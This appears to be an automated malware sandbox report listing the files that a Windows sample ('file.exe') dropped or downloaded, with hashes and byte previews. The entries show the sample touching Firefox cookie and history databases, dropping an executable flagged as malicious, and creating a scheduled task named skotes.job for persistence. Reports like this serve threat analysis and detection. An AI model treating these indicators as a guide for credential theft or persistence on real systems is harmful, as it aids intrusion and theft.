Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 02:16:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.970957367322275
Encrypted:	false
SSDEEP:	48:8Pd2dmOTGKFRPH2idAKZdA19ehwiZUklqehty+3:8Pw7kay
MD5:	4960809C499EA75C937A8E0373EFFE4C
SHA1:	E5E497BFDA0BAAB5758788C267A01B606A7C17C0
SHA-256:	A66ED0E190C507C4EEB68A7EE077AF09852E6AB1CF2D8FDFBDD92976A3B9F689
SHA-512:	A15325AB1E22A6B9314DCB74BCF63F83F708AF9D43177B8DA3CCAF9FDF97BDEBC91D72C197121547EB38239E0DB0D0B091DCCE4ECCC861CA19BF3A8AEAA6F9EB
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....M.9.4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........x0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 02:16:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.987918349098796
Encrypted:	false
SSDEEP:	48:822dmOTGKFRPH2idAKZdA1weh/iZUkAQkqehKy+2:8z7W9QLy
MD5:	23F280B818308A62605C831604A9E547
SHA1:	1B989CC6BCEEF492467CAF95A9F08EC8EE507D30
SHA-256:	790C67A5BC275406ED569001E325BF11A9D76C118CA3E6E55814607C4BFD982E
SHA-512:	4946318934F11AC6FDDF27C637F8822B7C6B3DB596A7DF81DDE3336990B1F2AFB8B1A83D42B96AF6C8A5EFE590787456A521D0094B8E16C877E32A8D9FECBC19
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......9.4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........x0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9989605017406813
Encrypted:	false
SSDEEP:	48:8xZ2dmOTGKFRsH2idAKZdA14tseh7sFiZUkmgqeh7sAy+BX:8x873nWy
MD5:	42A7B0CE71E3740552A83A6C78EBD037
SHA1:	5AE1755D8AE815B838C31B51BD80859DD475E9EC
SHA-256:	4A38D7AF2C830B03F744B7CB34CEA319A2A06DFEBA5FEB8711A79EC69BA1D026
SHA-512:	ECE74682CBEC0ECFF7BFAC40B77A4A06B66F4C4CD6496BAC40583F581985CEE5AEC9F323A64F3EDE8DF7FB73457E87175A099FD4A18A9622C6F2E8D64F0F48AA
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........x0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 02:16:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9832428739428587
Encrypted:	false
SSDEEP:	48:8e2dmOTGKFRPH2idAKZdA1vehDiZUkwqehOy+R:8779Yy
MD5:	C31279ACDAF7AADF25876EA822F0B656
SHA1:	D162438DE2351AFBDCE761107C93CDFC0E2260B0
SHA-256:	603D743BC9365F698CC76CFA3B00BF5AF6C9DFBD35F1775184CAEDF6F5E8BB14
SHA-512:	60143B3A3C5FAA5FE397367199C67809BC83AA032AF89AFC38910E21CA9D353DF447368F57010B55DFFEFE94F203D458DB8902124476E8814F0099DF75E24FDB
Malicious:	false
Preview:	L..................F.@.. ...$+.,....8b.9.4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........x0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 02:16:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9729530139798377
Encrypted:	false
SSDEEP:	48:822dmOTGKFRPH2idAKZdA1hehBiZUk1W1qeh8y+C:8z7d9cy
MD5:	666A1788CA39DD6364BFD1D92FFF452B
SHA1:	6095FCAAC0E7105F2530B2F6B8CF3045827B1E2C
SHA-256:	4715D58B65AB5178D4EB02B6DE91503333E9C1892977716ADD132365E3D924EF
SHA-512:	35948FF4DD47040633AA333724BCB818D9CDCDF580B35C32542C57604D3C13CB4D6D016847865030E6FBF44BD41229FDE72FEC0C8F8DAEC0086D327677C9E9CF
Malicious:	false
Preview:	L..................F.@.. ...$+.,....b..9.4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........x0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 02:16:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9831284570194274
Encrypted:	false
SSDEEP:	48:852dmOTGKFRPH2idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbWy+yT+:8c7hT/TbxWOvTbWy7T
MD5:	FBB78FDE7762C584B66C7303F62EC43A
SHA1:	4574E94E3FF9E1E9A5492C238647CAEF73EB1EFF
SHA-256:	346028F3EA784C9F99716D1574E784942298707F74BF4FF1FD8C74A1D4976E60
SHA-512:	53F3B881FEF7D09A5291368B966220DBD6D968D5EDA02508FBBD4A04C176056F8F6ED5808D5E0E8CA26DFABA2C5859E01FBEB3E2D67D69CD8CCCE3C4E4FAD599
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....:.9.4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........x0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsKKFHJJDHJE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3240960
Entropy (8bit):	6.654378454330657
Encrypted:	false
SSDEEP:	24576:HnSPPBBDX85d/0A7/XxXsEdS87qsOTfyFuEfqapcUrMMxHp1tccM+cvYNu40jg7m:HncXK9XLwsJ5So16jCVxoJHOUHJbrZ
MD5:	8231838196B7B207B73B8BF17344DC6E
SHA1:	92C825FCF7D975220918D620CE7AB0ADB6B46EC7
SHA-256:	962E7907BCB99387A4CB3B703CF91D3BA34FBF97F6024DDFDD47F69FCAED4992
SHA-512:	8FFA132F41A84473A6F01071A8D006920B58B2C020AFE0D3151BB0838638FDEBEDBA4B1D31FD12C5116541905A30535F71C5ECABEABF0402235AE9F44C8A8303
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......M2...@.................................W...k............................i1.............................xi1..................................................... . ............................@....rsrc...............................@....idata ............................@...uznwvgqp..........................@...ftpwkcch.....p1......N1.............@....taggant.0....1.."...R1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsKKFHJJDHJE.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4015510908519664
Encrypted:	false
SSDEEP:	6:xM3hxX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBpt0:xM3buQ1CGAFifXVBpt0
MD5:	C1D2AA1F4762EF34F4DC6CED74BC5FF2
SHA1:	5D3A439F8C371A11E0167A85A437FF1CD113764E
SHA-256:	462BC16ECD01021C7D5B2625FAB9E1C07FC5CCC8F89FE204825021B02EC82C0B
SHA-512:	83478E1603EB961CFF74ECC7D47A761DF49548DEF04E0B17E9703AF5A44E07457E34DA5AFB32376417167FB4B5FB036F3C144A40D443FEAAC173ABB974A1A8D3
Malicious:	false
Preview:	.....).@...O..(.l.#BF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (806)
Category:	downloaded
Size (bytes):	811
Entropy (8bit):	5.166708957387743
Encrypted:	false
SSDEEP:	24:qcgsUZ+BHslgT9lCuABuoB7HHHHHHHYqmffffffo:bs+KlgZ01BuSEqmffffffo
MD5:	83661C20406A32143D1E80694A823691
SHA1:	9736E2B0024383DBA016542FD940EA094B3A856E
SHA-256:	63B2E92887C6C1660A1B4D6E5A8BB84DC1350E3F84131B1B317C164D4CCC0CAE
SHA-512:	6D8884069C05B8A8E251FF49F08792080304733925C8BA35E22DC1C5D50764AFE3CE0A2DFC2A0CCD9A1D875AD2996234BFE52312E6AE9714E022F7E53456A572
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["heretic movie ending explained","aurora borealis northern lights forecast","overwatch classic heroes","saudi arabian desert snowfall","mortgage interest rates","texas michelin star restaurants","tyrel dodson seahawks","amd ryzen 7 7800x3d vs 9800x3d"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133690
Entropy (8bit):	5.432794316593171
Encrypted:	false
SSDEEP:	1536:i7C/VNgg7Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlg6CFlOve2dzAcJ82O:f57vhSJjxeX431PBLx8OF9jkYsci2i6o
MD5:	D82B5B8AE1DCC1C1BA4E25A5C6E6A037
SHA1:	38368F44391C74479EC28C8D3D9C70207E9EBF97
SHA-256:	A32908507021D744665EE7E6E8D8C9CA4645498A870945E4454A495D4164A18B
SHA-512:	D1578EECB3F1991673C205AB8C57C76C55B888E919633DF6D5994B183F3DC42625C2C8E788AD822054097F3A516FC931F54CFBE0C348A08E4E9C45798B891B68
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg 